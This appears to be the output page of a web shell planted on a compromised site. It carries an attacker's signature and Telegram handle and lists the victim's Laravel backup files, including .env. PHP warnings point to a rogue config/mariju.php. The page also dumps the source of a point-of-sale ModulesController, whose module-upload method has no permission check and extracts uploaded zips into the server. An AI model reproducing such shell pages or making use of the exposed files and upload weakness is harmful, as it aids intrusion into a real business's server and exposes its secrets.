telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log19226483 KBJuly 18 2025 20:14:350644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
moduleUtil = $moduleUtil; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if (! auth()->user()->can('manage_modules')) { abort(403, 'Unauthorized action.'); } $notAllowed = $this->moduleUtil->notAllowedInDemo(); if (! empty($notAllowed)) { return $notAllowed; } //Get list of all modules. $modules = Module::toCollection()->toArray(); //print_r($modules);exit; foreach ($modules as $module => $details) { $modules[$module]['is_installed'] = $this->moduleUtil->isModuleInstalled($details['name']) ? true : false; //Get version information. if ($modules[$module]['is_installed']) { $modules[$module]['version'] = $this->moduleUtil->getModuleVersionInfo($details['name']); } //Install Link. try { $modules[$module]['install_link'] = action('\Modules\\'.$details['name'].'\Http\Controllers\InstallController@index'); } catch (\Exception $e) { $modules[$module]['install_link'] = '#'; } //Update Link. try { $modules[$module]['update_link'] = action('\Modules\\'.$details['name'].'\Http\Controllers\InstallController@update'); } catch (\Exception $e) { $modules[$module]['update_link'] = '#'; } //Uninstall Link. try { $modules[$module]['uninstall_link'] = action('\Modules\\'.$details['name'].'\Http\Controllers\InstallController@uninstall'); } catch (\Exception $e) { $modules[$module]['uninstall_link'] = '#'; } } $is_demo = (config('app.env') == 'demo'); $mods = $this->__available_modules(); return view('install.modules.index') ->with(compact('modules', 'is_demo', 'mods')); //Option to uninstall //Option to activate/deactivate //Upload module. } public function regenerate() { if (! auth()->user()->can('manage_modules')) { abort(403, 'Unauthorized action.'); } $notAllowed = $this->moduleUtil->notAllowedInDemo(); if (! empty($notAllowed)) { return $notAllowed; } try { Artisan::call('module:publish'); Artisan::call('passport:install --force'); // Artisan::call('scribe:generate'); $output = ['success' => 1, 'msg' => __('lang_v1.success'), ]; } catch (Exception $e) { $output = ['success' => 1, 'msg' => $e->getMessage(), ]; } return redirect()->back()->with('status', $output); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { // } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Activate/Deaactivate the specified module. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $module_name) { if (! auth()->user()->can('manage_modules')) { abort(403, 'Unauthorized action.'); } $notAllowed = $this->moduleUtil->notAllowedInDemo(); if (! empty($notAllowed)) { return $notAllowed; } try { $module = Module::find($module_name); //php artisan module:disable Blog if ($request->action_type == 'activate') { $module->enable(); } elseif ($request->action_type == 'deactivate') { $module->disable(); } $output = ['success' => true, 'msg' => __('lang_v1.success'), ]; } catch (\Exception $e) { $output = ['success' => false, 'msg' => $e->getMessage(), ]; } return redirect()->back()->with(['status' => $output]); } /** * Deletes the module. * * @param string $module_name * @return \Illuminate\Http\Response */ public function destroy($module_name) { if (! auth()->user()->can('manage_modules')) { abort(403, 'Unauthorized action.'); } $notAllowed = $this->moduleUtil->notAllowedInDemo(); if (! empty($notAllowed)) { return $notAllowed; } try { $module = Module::find($module_name); // $module->delete(); $path = $module->getPath(); die("To delete the module delete this folder
" . $path . '
Go back after deleting'); $output = ['success' => true, 'msg' => __('lang_v1.success'), ]; } catch (\Exception $e) { $output = ['success' => false, 'msg' => $e->getMessage(), ]; } return redirect()->back()->with(['status' => $output]); } /** * Upload the module. */ public function uploadModule(Request $request) { $notAllowed = $this->moduleUtil->notAllowedInDemo(); if (! empty($notAllowed)) { return $notAllowed; } try { //get zipped file $module = $request->file('module'); $module_name = $module->getClientOriginalName(); $module_name = str_replace('.zip', '', $module_name); //check if uploaded file is valid or not and and if not redirect back if ($module->getMimeType() != 'application/zip') { $output = ['success' => false, 'msg' => __('lang_v1.pls_upload_valid_zip_file'), ]; return redirect()->back()->with(['status' => $output]); } //check if 'Modules' folder exist or not, if not exist create $path = '../Modules'; if (! is_dir($path)) { mkdir($path, 0777, true); } //extract the zipped file in given path $zip = new ZipArchive(); if ($zip->open($module) === true) { $zip->extractTo($path.'/'); $zip->close(); //Needs improvement // if(!(file_exists($path . '/' . $module_name . '/composer.json') // && file_exists($path . '/' . $module_name . '/module.json') // && file_exists($path . '/' . $module_name . '/Config/config.php'))){ // \File::deleteDirectory($path . '/' . $module_name); // } } $output = ['success' => true, 'msg' => __('lang_v1.success'), ]; } catch (Exception $e) { $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return redirect()->back()->with(['status' => $output]); } private function __available_modules() { return 'a:14:{i:0;a:4:{s:1:"n";s:10:"Essentials";s:2:"dn";s:17:"Essentials Module";s:1:"u";s:53:"https://ultimatefosters.com/recommends/essential-app/";s:1:"d";s:49:"Essentials features for every growing businesses.";}i:1;a:4:{s:1:"n";s:10:"Superadmin";s:2:"dn";s:17:"Superadmin Module";s:1:"u";s:54:"https://ultimatefosters.com/recommends/superadmin-app/";s:1:"d";s:76:"Turn your POS to SaaS application and start earning by selling subscriptions";}i:2;a:4:{s:1:"n";s:11:"Woocommerce";s:2:"dn";s:18:"Woocommerce Module";s:1:"u";s:55:"https://ultimatefosters.com/recommends/woocommerce-app/";s:1:"d";s:36:"Sync your Woocommerce store with POS";}i:3;a:4:{s:1:"n";s:13:"Manufacturing";s:2:"dn";s:20:"Manufacturing Module";s:1:"u";s:57:"https://ultimatefosters.com/recommends/manufacturing-app/";s:1:"d";s:70:"Manufacture products from raw materials, organise recipe & ingredients";}i:4;a:4:{s:1:"n";s:7:"Project";s:2:"dn";s:14:"Project Module";s:1:"u";s:51:"https://ultimatefosters.com/recommends/project-app/";s:1:"d";s:66:"Manage Projects, tasks, tasks time logs, activities and much more.";}i:5;a:4:{s:1:"n";s:6:"Repair";s:2:"dn";s:13:"Repair Module";s:1:"u";s:50:"https://ultimatefosters.com/recommends/repair-app/";s:1:"d";s:248:"Repair module helps with complete repair service management of electronic goods like Cellphone, Computers, Desktops, Tablets, Television, Watch, Wireless devices, Printers, Electronic instruments and many more similar devices which you can imagine!";}i:6;a:4:{s:1:"n";s:3:"Crm";s:2:"dn";s:10:"CRM Module";s:1:"u";s:63:"https://ultimatefosters.com/product/crm-module-for-ultimatepos/";s:1:"d";s:39:"Customer relationship management module";}i:7;a:4:{s:1:"n";s:16:"ProductCatalogue";s:2:"dn";s:16:"ProductCatalogue";s:1:"u";s:90:"https://codecanyon.net/item/digital-product-catalogue-menu-module-for-ultimatepos/28825346";s:1:"d";s:32:"Digital Product catalogue Module";}i:8;a:4:{s:1:"n";s:10:"Accounting";s:2:"dn";s:17:"Accounting Module";s:1:"u";s:82:"https://ultimatefosters.com/product/accounting-bookkeeping-module-for-ultimatepos/";s:1:"d";s:48:"Accounting & Book keeping module for UltimatePOS";}i:9;a:4:{s:1:"n";s:12:"AiAssistance";s:2:"dn";s:19:"AiAssistance Module";s:1:"u";s:73:"https://ultimatefosters.com/product/ai-assistance-module-for-ultimatepos/";s:1:"d";s:104:"AI Assistant module for UltimatePOS. This module used openAI API to help with in copywriting & reporting";}i:10;a:4:{s:1:"n";s:15:"AssetManagement";s:2:"dn";s:22:"AssetManagement Module";s:1:"u";s:76:"https://ultimatefosters.com/product/asset-management-module-for-ultimatepos/";s:1:"d";s:40:"Useful for managing all kinds of assets.";}i:11;a:4:{s:1:"n";s:3:"Cms";s:2:"dn";s:10:"Cms Module";s:1:"u";s:59:"https://ultimatefosters.com/product/ultimatepos-cms-module/";s:1:"d";s:153:"Mini CMS (content management system) Module for UltimatePOS to help manage all frontend contents like Landing page, Blogs, Contact us & many other pages.";}i:12;a:4:{s:1:"n";s:9:"Connector";s:2:"dn";s:20:"Connector/API Module";s:1:"u";s:68:"https://ultimatefosters.com/product/rest-api-module-for-ultimatepos/";s:1:"d";s:24:"Provide the API for POS.";}i:13;a:4:{s:1:"n";s:11:"Spreadsheet";s:2:"dn";s:18:"Spreadsheet Module";s:1:"u";s:71:"https://ultimatefosters.com/product/spreadsheet-module-for-ultimatepos/";s:1:"d";s:72:"Allows you to create spreadsheet and share with employees, roles & todos";}}'; } }